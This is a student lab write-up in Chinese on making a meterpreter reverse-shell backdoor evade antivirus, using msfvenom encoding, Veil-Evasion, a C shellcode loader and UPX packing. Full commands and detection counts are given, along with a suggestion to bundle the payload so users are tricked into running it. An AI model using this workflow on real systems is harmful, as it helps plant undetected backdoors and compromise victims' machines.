实践内容

基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 杀毒软件主要靠特征码进行查杀,匹配到即为病毒。
  • 还有通过云查杀,查看云端库中该文件是否属于恶意代码。
  • 跟踪该程序运行起来是否存在恶意行为,来判断是否属于恶意代码。

(2)免杀是做什么?

  • 免杀就是让杀毒软件查杀不出来有问题的程序,大部分是用来做坏事的。

(3)免杀的基本方法有哪些?

  • 通过改变特征码来躲避杀毒软件的匹配。
  • 自己手动编写一个恶意代码,因为杀毒软件查的共性,而不是个性。
  • 改变行为,减少敏感行为的使用等。

实践总结与体会

  • 这次的实验让我们可以绕过恶意代码的最大天敌——杀毒软件,之前我们所编写的恶意代码就像一个通缉犯,被所有警察所知悉,而同感免杀之后的恶意代码就像是去了泰国变性韩国整容一般,可以瞒天过海,继续潇洒。

离实战还缺些什么技术或步骤?

  • 我们的靶机不会那么傻乎乎的去接收我们的文件,那么我们就可以利用捆绑等方式诱导用户去接收并运行我们的恶意代码。

实践过程

环境准备

  • win10的IP地址:172.30.6.204
  • kali的IP地址:172.30.1.193
  • 这里使用上次实验中用到的后门程序进行免杀实验
  • 上期实验博客
  • 本次实验需要用到Veil-Evasion,安装指令:sudo apt-get install veil-evasion
  • 没有安装成功的小伙伴,可以尝试 克隆安装,依次输入:
sudo apt-get -y install git //安装git
git clone https://github.com/Veil-Framework/Veil-Evasion.git //git命令行下载Veil Evasion
mv Veil-Evasion /opt //把它移动到opt目录下(可选)
cd /opt/Veil-Evasion/ //进入Veil Evasion所在目录 bash setup/setup.sh -s //启动setup脚本开始安装

msfvenom

  • kali端下使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f exe > 4327.exe命令生成后门程序(即上次实验所用到的后门程序)。

  • 上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

    • 小提示:这里文件名为20154327形式的无法上传,网站提示含有广告关键词。

  • 从图中可以看出有18/39的杀毒软件发现有病毒.

    *这里我们直接利用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.30.1.193 LPORT=4327 -f exe > 4327miansha.exe将文件编码10次

  • 再去检测一下:

  • 结果还是有18/39的杀毒软件发现有病毒,看来一味的利用编码次数来达到免杀还是不行的。

Veil-Evasion

  • 这里需要用到veil-evasion,没有的小伙伴可以参考环境准备里的步骤。
  • 在kali中输入指令veil-evasion打开软件,依次输入
use python/meterpreter/rev_tcp  //设置payload
set LHOST 172.30.1.193 //设置为kali的IP
set lport 4327 //设置端口为4327
generate //生成
4327yzh //程序名
1
  • 如图所示:

  • 然后在kali上的/var/lib/veil-evasion/output/compiled/文件夹里找到刚生成的,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 从图中可以看出有9/39的杀毒软件发现有病毒,比刚刚18个报毒直接减少一半,可喜可贺,但还不够,下面我们继续。

使用C语言调用Shellcode

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f c ,这里使用kali的ip生成一个c语言格式的shellcode数组。

  • 利用自己的数组,再添加一个主函数。

  • 在win下使用vs编译该c语言,得到exe文件,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 8/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

  • 在kali下进入MSF打开监听进程,实现方法参考上期实验博客

  • 靶机上尝试运行,后门程序成功获取权限。

    • 靶机环境:win10家庭版,火绒20180405

加壳尝试

upx直接加壳

  • 利用upx对上节课生成的后门文件直接加壳。



  • 直接对msf生成的文件使用upx加壳,还是有14/39的杀毒软件发现有病毒,比刚刚18查出略有改善,下面试试利用Veil-Evasio+UPX加壳。

Veil-Evasio+UPX加壳

  • 将上面通过Veil-Evasio免杀过的文件加上upx壳尝试。

  • 4/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

20154327 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. web API之post参数传递

    最近公司开发一个新产品,前端用的vue+element,后端用的.net core ,刚开始接触这块,接口写完后在调用接口时总出现问题,尤其是post传递参数时,很多时候都获取不到参数,没办法接口都要 ...

  2. Yii 不完全解决方案(一)

    此文意在记录 Yii 开发过程中的小问题解决方案 1. Yii 中 Js 和 Css 文件的引入. 我们就从最简单的问题开始吧,说起来也不是问题,只是语法罢了.假设我们的 js 文件都放在和 prot ...

  3. grep参数说明及常用用法(转)

    转:https://www.cnblogs.com/leo-li-3046/p/5690613.html grep常用参数说明 grep [OPTIONS] PATTERN [FILE...] gre ...

  4. PHP-------ajax返回值 返回JSON 数据

    ajax返回值  返回JSON  数据 ajax返回值 有text   JSON ajax返回值  返回JSON  数据 <title>无标题文档</title> <sc ...

  5. PHP 生成全局唯一id

    直接上代码: function generate_global_uniqid() { $prefix = md5(microtime(true)); // 生成唯一ID发生器 prefix,如果为服务 ...

  6. Kali-linux识别活跃的主机

    尝试渗透测试之前,必须先识别在这个目标网络内活跃的主机.在一个目标网络内,最简单的方法将是执行ping命令.当然,它可能被一个主机拒绝,也可能被接收.本节将介绍使用Nmap工具识别活跃的主机. 网络映 ...

  7. Kali-linux攻击WordPress和其他应用程序

    今天越来越多的企业利用SAAS(Software as a Service)工具应用在他们的业务中.例如,他们经常使用WordPress作为他们网站的内容管理系统,或者在局域网中使用Drupal框架. ...

  8. webpack执行命令失败之解决办法

    错误信息:ERROR in multi ./runoob1.js bundle.js Module not found: Error: Can't resolve 'bundle.js' in 'C: ...

  9. QGis 利用Python Console编写脚本进行批量处理

    前言 这篇文章里,我们要完成一些数据的合并,计算等操作. 准备工作 首先要了解Qgis的编程模型,具体参考文章<QGIS里的编程模型>及<Qgis里的查询过滤>.了解了Qgis ...

  10. IE下页面左偏移并页头空出一行解决方法

    在其它浏览器下显示正常,包括360浏览器,在IE下,页面向左偏移,通过firebug查看,head标签为空,并且head标签里面的内容都跑到body标签内了,原因是有bom头,访问的页面或是加载,包含 ...